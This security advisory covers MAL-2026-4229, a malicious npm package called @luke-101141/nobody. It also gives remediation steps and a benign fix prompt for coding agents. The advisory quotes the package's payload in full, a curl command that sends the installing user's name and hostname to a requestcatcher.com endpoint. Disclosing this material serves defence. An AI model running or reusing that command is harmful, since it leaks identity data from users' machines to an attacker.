# MAL-2026-4229: Malicious code in @luke-101141/nobody (npm)


- **Type:** Malicious package
- **Package:** `@luke-101141/nobody` (npm)
- **Published:** 21 May 2026

## What is MAL-2026-4229?

MAL-2026-4229 is a malicious package in @luke-101141/nobody, published on 21 May 2026. 

### Official description

On require(), index.js executes `curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname)/"`, leaking the installing user's identity and machine hostname over plaintext HTTP to an anonymous request-inspection service (requestcatcher.com) commonly used as a throwaway exfil sink. The package has no advertised functionality — empty description, no useful exports — its sole effect is the identity beacon. package.json also contains a top-level `"preinstall": "node index.js"` field outside the `scripts` block; as written it does not fire at install time, but the intent to trigger the same payload at `npm install` is explicit. Any consumer importing this package leaks host/user identity to the attacker.

The OpenSSF Package Analysis project identified '@luke-101141/nobody' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-4229?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4229 is a malicious package: @luke-101141/nobody (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4229/ (Markdown: https://insights.sbomify.com/MAL-2026-4229/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4229

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4229/
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